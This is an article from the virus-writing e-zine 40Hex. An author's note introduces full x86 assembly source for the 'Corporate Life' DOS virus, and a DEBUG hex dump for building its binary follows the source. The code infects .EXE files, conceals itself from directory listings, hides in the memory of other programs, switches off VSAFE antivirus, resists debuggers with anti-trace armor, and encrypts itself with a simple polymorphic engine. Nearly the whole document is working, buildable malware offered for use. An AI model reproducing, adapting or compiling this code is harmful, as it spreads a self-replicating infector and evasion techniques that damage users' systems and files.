40Hex Number 14 Volume 5 Issue 1 File 008 A lot of you saw the letter I posted in alt.comp.virus..... I thought I might explain it now that I am sober ;) I did write the letter, and a.) I was drunk as hell, and b.) I keep my word and have stopped writing viruses. If you didn't read it, well, basically some schmuck (who I found out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got infected with KeyKapture 2, and wrote me email about it. I was drunk when I got it, got real depressed, etc. etc.... Anyway, I don't support infecting the public with viruses, especially destructive ones, and never have (WTF is the point of doing that anyway?). However, I find viruses one of the most interesting and unique program types out there, and really hate to see information regarding them censored, as censorship is the weapon of men with small minds (at least) and too many fears. Anyway, here is the last virus I wrote before I stopped writing viruses. It was never really completed - I was working on a better polymorphic engine for it (its current one is tres lame, and was written in about an hour, including testing), needed to remove the prefetch tricks (damn pentium chips) and some other things, but what the hell.... here's what I had written to that point - it works, and has a few neato ideas (all FCB stuff, loads itself into the memory of other programs, etc). Try running it with the Soundblaster speech drivers loaded if you get really bored. - Stormbringer, Phalcon/Skism, 1995 ;----------------------- cut here, corplife.asm --------------------------- ;ษออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออป ;บ Corporate Life (c) 1994 Stormbringer, Phalcon/Skism บ ;ฬออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน ;บ Dreams disipate like fog before the harsh sun - บ ;บ Every morning, driving to work through the traffic, บ ;บ A number, a cube, a tie..... บ ;บ บ ;บ Don't let your dreams die, mes amis, บ ;บ Or you will become just another puppet - บ ;บ Led by the strings of money by an ungrateful master. บ ;บ บ ;บ Fuck Corporate Life! บ ;ศออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ ;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....) ;Moderately Armored. ;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's. ;Memory Stealth - becomes a part of the last TSR program in memory. ;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls. ; (Only infects DOS .EXE files with no overlays) ;Critical Error Handler. .model tiny .radix 16 .code org 100 start: push es push cs pop ds db 2dh dup(90) EXE_ENTRY: jmp short rotateit db 09A rotateit: ror word ptr cs:[HostCS],1 jmp short EntryArmor db 0ea ;simple annoyance for disasm ;---------------------------- EntryArmor: push word ptr cs:[Armor1] mov ax,not(00eah) push ax mov bp,sp not word ptr ss:[bp] ;should lose trace-based pop word ptr cs:[Armor1] ;analysis, such as f-prot's Armor1: ;heuristics and TBCLEAN pop word ptr cs:[Armor1] call recursionshit ;---------------------------- GetDosVersion: mov ax,3001 int 21 cmp al,6 ja BadDos cmp al,3 jb BadDos jmp short DosFine db 0ea BadDos: jmp IsActiveInMemory db 0ff DosFine: ;---------------------------- KillVSAFE: mov dx,not(0fa01) mov ax,not(5945) xchg dx,ax push cs not ax not dx int 16 ;Kill vsafe... lame friggin' program anyway pop ds ;---------------------------- CheckIfActive: mov ah,09 mov dx,offset Credits int 21 jnc GetInt21Address jmp IsActiveInMemory ;---------------------------- GetInt21Address: xor ax,ax push ds ax pop ds push word ptr ds:[84] push word ptr ds:[05*4] push word ptr ds:[86] push word ptr ds:[05*4+2] pop word ptr ds:[03*4+2] pop word ptr cs:[Org21CS] pop word ptr ds:[03*4] pop word ptr cs:[Org21IP] pop ds push es ;---------------------------- AllocTempMem: mov ah,4a mov bx,-1 call call21direct sub bx,(end_main-start+1f)/10 mov ah,4a call call21direct mov bx,(end_main-start+0f)/10 mov ah,48 call call21direct ;---------------------------- PutVirusInTempMem: sub ax,10 mov es,ax mov di,100 mov si,di mov cx,(end_main-start) repnz movsb push ds mov ds,cx SetupProgramTerminate: push ds:[22*4] push ds:[22*4+2] mov ds:[22*4],offset Int22 mov ds:[22*4+2],es mov word ptr ds:[6],0fff0 mov word ptr ds:[4],0 pop ax pop bx pop ds mov es:[IP22],bx mov es:[CS22],ax pop ds mov ds:[0a],offset Int22 mov ds:[0c],es ;---------------------------- IsActiveInMemory: pop es push es pop ds mov ax,es add ax,10 add cs:HostCS,ax add ax,cs:HostSS cli mov ss,ax mov sp,cs:[HostSP] xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor di,di mov si,100 sti jmp dword ptr cs:[HostEntry] HostEntry: HostIP dw 0 HostCS dw 0fff0 HostSS dw 0fff0 HostSP dw 0fffe Call21Direct: pushf call dword ptr cs:[Org21IP] ret Org21IP dw 0 Org21CS dw 0 ;----------------------------- recursionshit: mov cx,11 call recurseit ret db 081 recurseit: jmp short bumpshit db 0ff Afterbump: dec cx pop ax bx dx jz exitrecurse call recurseit exitrecurse: rol word ptr cs:[HostCS],1 ret db 0cdh bumpshit: mov bp,sp push ds mov bx,cs push ax mov word ptr [bp-4],0 pop ds mov word ptr ds:[3*4],offset afterbump mov word ptr ds:[3*4+2],bx pop ds int 3 How_did_ya_get_here: loop How_did_ya_get_here mov ds,cx push word ptr ds:[46c] push word ptr ds:[46c] push word ptr ds:[46e] iret ;----------------------------- db 83 Int22: mov ah,52 call call21direct mov es,es:[bx-2] mov bx,es mov ax,es:[03] mov cx,es add ax,cx inc ax mov es,ax FindMCB: mov ax,es:[03] cmp ax,(end_prog-start+4f)/10 jb TooSmall cmp word ptr es:[01],0 je FoundOne jmp NExtOne TooSmall: cmp word ptr es:[01],0 jne NextOne jmp SkipBXMove NextOne: mov bx,es SkipBXMove: mov cx,es add ax,cx inc ax cmp ax,0f000 je NoMem cmp byte ptr es:[0],'M' jne NoMem mov es,ax jmp FindMCB db 081 NoMem: jmp Exit22 db 0ea FoundOne: mov dx,es mov es,bx inc bx add bx,word ptr es:[03] push bx mov ax,es push word ptr es:[01] push es inc ax mov bx,word ptr es:[03] mov word ptr cs:[HostMem],ax mov es,ax mov ah,4a add bx,(end_prog-start+3f)/10 call call21direct jc TooSmall pop es pop word ptr es:[01] pop ax sub ax,10 mov es,ax mov di,100 mov si,di push cs pop ds mov cx,(end_prog-start) repnz movsb inc cx mov ds,cx push word ptr ds:[74] push word ptr ds:[76] mov word ptr ds:[74],offset Int21 mov word ptr ds:[76],es pop word ptr es:[CS21] pop word ptr es:[IP21] call ActivateSoundBlaster Exit22: db 0ea IP22 dw 0 CS22 dw 0 db 0ff Int21: cmp ah,09 jne NotInstallCheck xchg dx,bx cmp word ptr ds:[bx],'B$' xchg dx,bx jne Exit21 stc retf 2 db 088 NotInstallCheck: push ax ;reversed bits on ah xor ah,11 ;0001 0001 ;11 - find first jz FindFile xor ah,3 jz FindFile ;0001 0010 ;12 - find next xor ah,5bh ;0100 1001 ;49 - dealloc mem jz Dealloc ExitTests: pop ax ExitFunctions: Exit21: db 0ea IP21 dw 0 CS21 dw 0 db 0ea Dealloc: mov ax,es cmp ax,word ptr cs:[HostMem] pop ax jne Exit21 iret db 0ea GoExitFind: jmp ExitFind FindFile: pop ax call FakeInt21 or al,al jnz GoExitFind push ax bx cx dx es ds si di call SetCritical mov ah,2f call FakeInt21 push es bx cmp byte ptr es:[bx],0ff jne ExitCheck add bx,7 CheckIfEXE: cmp word ptr es:[bx+09],'XE' jne ExitCheck cmp byte ptr es:[bx+0bh],'E' jne ExitCheck CheckIfInfected: cmp word ptr es:[bx+19h],0c800 ja SubVirSize RandomChanceOfInfect: call RandomChance jc SubVirSize SetupInfectFile: push es bx push cs pop es mov di,offset FCB1 mov cx,EndFCB1-FCB1 xor ax,ax push di repnz stosb pop di pop si ds mov cx,12d repnz movsb OpenFileFCB: mov ah,0f push cs pop ds mov dx,offset FCB1 call FakeInt21 inc al jz SubVirSize ;Error Occured push es bx call InfectFileFCB pop bx es CloseFileFCB: mov ah,10 mov dx,offset FCB1 call FakeInt21 SubVirSize: cmp word ptr es:[bx+19],0c800 jb AfterDirStealth sub word ptr es:[bx+19],0c800 push bx mov ah,62 call FakeInt21 mov ax,cs cmp bx,ax pop bx ja AfterDirStealth sub word ptr es:[bx+1dh],(end_main-start+40) sbb word ptr es:[bx+1f],0 AfterDirStealth: ExitCheck: pop dx ds mov ah,1a call fakeint21 call ResetCritical pop di si ds es dx cx bx ax ExitFind: retf 2 db 0ea FakeInt21: pushf call dword ptr cs:[IP21] ret db 09a BadFile: jmp ExitInfFCB db 0ea InfectFileFCB: push word ptr [FCBTime] push word ptr [FCBDate] push word ptr [FCBFSize] push word ptr [FCBFSize+2] pop word ptr [OrgSize+2] pop word ptr [OrgSize] call CheckHeader jc InfectionCheck call SaveValues call ResetHeader call PAdEndOfFile jmp ModTimeInfected InfectionCheck: jc ExitInfFCB ;was infection successful? ModTimeInfected: pop ax add ax,0c800 push ax ExitInfFCB: pop word ptr cs:[FCBDate] pop word ptr cs:[FCBTime] ret PadEndOfFile: mov ax,word ptr [OrgSize] mov dx,word ptr [OrgSize+2] add ax,(end_main-start+40) adc dx,0 mov word ptr [FCBFSize],ax mov word ptr [FCBFSize+2],dx ret RandomChance: push ax ds xor ax,ax mov ds,ax mov ax,ds:[46c] shr ax,1 pop ds ax ret ResetHEader: mov ax,word ptr [FCBFsize] mov dx,word ptr [FCBFsize+2] and ax,1ff mov word ptr [EXEHeader+2],ax mov ax,word ptr [FCBFsize] jz NoCarry add ax,1ff NoCarry: mov cl,9 shr ax,cl mov cl,7 shl dx,cl add dx,ax mov word ptr [EXEHeader+4],dx add word ptr [exeheader+0a],(end_main-start+1f)/10 mov ah,1a mov dx,offset EXEHeader call fakeint21 mov dx,offset FCB1 mov byte ptr [FCBCurRec],0 mov word ptr [FCBBlock],0 mov word ptr [FCBRecSize],40 mov ah,15 call fakeInt21 ret CheckHEader: mov word ptr [FCBRecSize],40 mov ah,1a mov dx,offset EXEHeader call fakeInt21 ;Set DTA for read mov ah,14 mov dx,offset FCB1 ;read EXEheader call fakeInt21 mov ax,word ptr [EXEHeader] add ah,al xor ah,('Z'+'M') jnz BadHeader cmp word ptr [EXEHeader+1a],0 jnz BadHEader cmp word ptr [EXEHeader+18],40 jae BadHeader cmp word ptr [FCBFSize+2],4 ja BadHeader clc ret BadHeader: stc ret SaveValues: push word ptr [EXEHeader+0e] mov ax,word ptr [FCBFsize] push word ptr [EXEHeader+10] mov dx,word ptr [FCBFsize+2] push word ptr [EXEHEader+14] mov cl,4 mov bx,word ptr [EXEHeader+08] shl bx,cl sub ax,bx sbb dx,0 push word ptr [EXEHEader+16] shr ax,cl pop word ptr [HostCS] adc ax,0 pop word ptr [HostIP] mov bx,ax pop word ptr [HostSP] shl ax,cl pop word ptr [HostSS] adc dx,0 mov cl,0c shl dx,cl add bx,dx sub bx,0f mov word ptr [EXEHeader+16],bx mov word ptr [EXEHeader+14],100 add bx,0f0 mov word ptr [EXEHeader+0e],bx mov word ptr [EXEHeader+10],2fe mov ax,word ptr [FCBFsize] mov dx,word ptr [FCBFsize+2] mov cl,4 shr ax,cl adc ax,0 mov ch,dl mov cl,4 shr dx,cl shl ch,cl add ah,ch adc dx,0 inc ax adc dx,0 mov word ptr [FCBRanRec],ax mov word ptr [FCBRanRec+2],dx mov word ptr [FCBRecSize],10 push cx bx dx si di call Mutate pop di si dx bx cx mov dx,offset DecryptBuffer AppendLoop: mov ah,1a call fakeint21 push dx mov ah,22 mov dx,offset FCB1 call fakeint21 pop dx call updateRecAndDX cmp dx,offset end_prog jb AppendLoop ret UpdateRecAndDX: add dx,10 add word ptr [FCBRanRec],1 adc word ptr [FCBRanRec+2],0 ret SetCritical: push ax ds mov ax,9 mov ds,ax push word ptr ds:[0] push word ptr ds:[2] pop word ptr cs:[OldCritical+2] pop word ptr cs:[OldCritical] mov word ptr ds:[0],offset CriticalError push cs pop word ptr ds:[02] pop ds ax ret ResetCritical: push ax ds push word ptr cs:[OldCritical] mov ax,9 push word ptr cs:[OldCritical+2] mov ds,ax pop word ptr ds:[2] pop word ptr ds:[0] pop ds ax ret CriticalError: mov al,3 iret OldCritical dd 0 HostMem dw 0 Credits: db '$B -=[$$$ Corporate Life $$$]=- P$' EndCredits: OrgSize dd 0 FCB1: FCBDrive db 0 FCBFName db 8 dup(0) FCBExt db 3 dup(0) FCBBlock dw 0 FCBRecSize dw 0 FCBFSize dd 0 FCBDate dw 0 FCBTime dw 0 FCBReserved db 8 dup(0) FCBCurRec db 0 FCBRanRec dd 0 EndFCB1: EXEHeader db 40 dup(0) ;-----------------]> Activation routine - talks if sound blaster speech drv'r ActivateSoundBlaster: CheckIfSBSpeechEnabled: push ax bx es ds si di xor ax,ax mov es,ax mov ax,0fbfbh int 2f mov ax,es or ax,ax jz notinstalled cmp word ptr es:[bx],'BF' jne notinstalled SayFuckCorporateLife: mov ax,0707 mov si,offset speechbuf mov di,20 add di,bx mov cx,(endmess-speechbuf) push cs pop ds repnz movsb call dword ptr es:[bx+4] NotInstalled: pop di si ds es bx ax ret speechbuf: db (endmess-message) message db 'Fuck Corporat Life.',0a,0dh endmess: ;-----------------]> Simple friggin' mutation engine, but quite small.... Mutate: push cs cs pop es ds mov cx,(end_main-EXE_Entry) call InitRand SetupCounter: mov word ptr [SetCounter+1],cx PreProcessCode: mov di,offset NewCodeBuffer mov si,offset EXE_Entry repnz movsb SelectCounterAndPointer: call GetRand and ax,707 cmp al,4 je SelectCounterAndPointer cmp ah,3 je RegsValid cmp ah,6 je RegsValid cmp ah,7 je RegsValid jmp short SelectCounterAndPointer RegsValid: cmp ah,al je SelectCounterAndPointer FindAddressingReg: push ax cmp ah,3 jne Is_SI_or_DI xor ah,4 jmp GotAddrReg Is_SI_Or_DI: xor ah,2 GotAddrReg: mov dh,ah ;DH now holds addressing reg value GetRandomXorKey: call GetRand mov byte ptr [XorByte+2],al pop ax SetNewRegs: and byte ptr [XorByte+1],11111000b and byte ptr [SetCounter],11111000b and byte ptr [DecCounter],11111000b and byte ptr [SetPointer],11111000b and byte ptr [IncPointer],11111000b or byte ptr [SetCounter],al or byte ptr [DecCounter],al or byte ptr [SetPointer],ah or byte ptr [IncPointer],ah or byte ptr [Xorbyte+1],dh mov dx,ax SetupDummy: call GetRand and ax,707 cmp al,4 je SetupDummy cmp al,dh je SetupDummy cmp al,dl je SetupDummy mov ah,al and word ptr [OneByte],1111100011111000b or word ptr [Onebyte],ax EncryptCode: mov word ptr [SetPointer+1],offset NewCodeBuffer call SetCounter mov word ptr [SetPointer+1],offset EXE_Entry SetupDecrypt: mov si,offset EncryptionPrototype mov di,offset DecryptBuffer call MakeOneBytes call OneByteInst call OneByteInst call OneByteInst call ThreeByteInst call ThreeByteInst mov bx,di call ThreeByteInst call OneByteInst movsw mov ax,di sub ax,bx not al stosb FillBuffer: mov cx,offset NewCodeBuffer sub cx,di call MakeAByte ret ThreeByteInst: movsw OneByteInst: movsb call MakeOneBytes ret MakeOneBytes: push bx cx call GetRand and ax,3 inc ax mov cx,ax call MakeAByte pop cx bx ret MakeAByte: call GetRand and ax,3 mov bx,ax add bx,offset OneByte mov al,byte ptr [bx] stosb loop MakeAByte ret InitRand: push ds xor ax,ax mov ds,ax mov ax,word ptr ds:[46c] pop ds mov word ptr cs:[RandKey],ax ret GetRand: push cx dx mov ax,word ptr cs:[RandKey] mov cx,4791 mul cx mov cx,dx ror ax,cl add ax,9174 mov word ptr cs:[Randkey],ax pop dx cx ret RandKey dw 0 EncryptionPrototype: SaveSeg: push es SetCurSeg: push cs pop ds SetCounter: mov bx,0ffff SetPointer: mov si,0ffff XorByte: xor byte ptr [si],0ff IncPointer: inc si DecCounter: dec bx LoopMod: jnz XorByte ExitPrototype: ret DummyInstructions: OneByte: inc cx dec cx nop sti end_mut: end_main: DecryptBuffer db 30 dup(?) NewCodeBuffer db (end_main-EXE_Entry) dup (?) end_prog: end start ;----------------------- end corplife.asm --------------------------------- N corplife.com E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01 E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6 E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21 E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36 E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75 E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7 E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00 E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3 E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33 E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00 E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4 E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46 E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04 E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03 E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72 E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00 E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74 E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65 E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0 E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01 E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92 E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06 E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06 E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50 E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58 E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0 E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51 E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26 E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8 E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0 E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07 E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8 E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58 E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8 E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06 E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83 E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6 E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00 E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02 E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92 E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36 E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02 E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1 E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06 E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02 E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3 E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56 E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73 E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78 E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36 E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00 E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29 E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24 E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61 E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50 E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57 E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26 E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03 E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07 E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61 E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07 E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8 E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80 E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8 E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80 E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06 E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36 E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6 E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06 E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30 E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00 E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12 E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18 E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00 E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8 E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9 E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF E 0840 46 4B 75 F9 C3 41 49 90 FB R CX 0749 W Q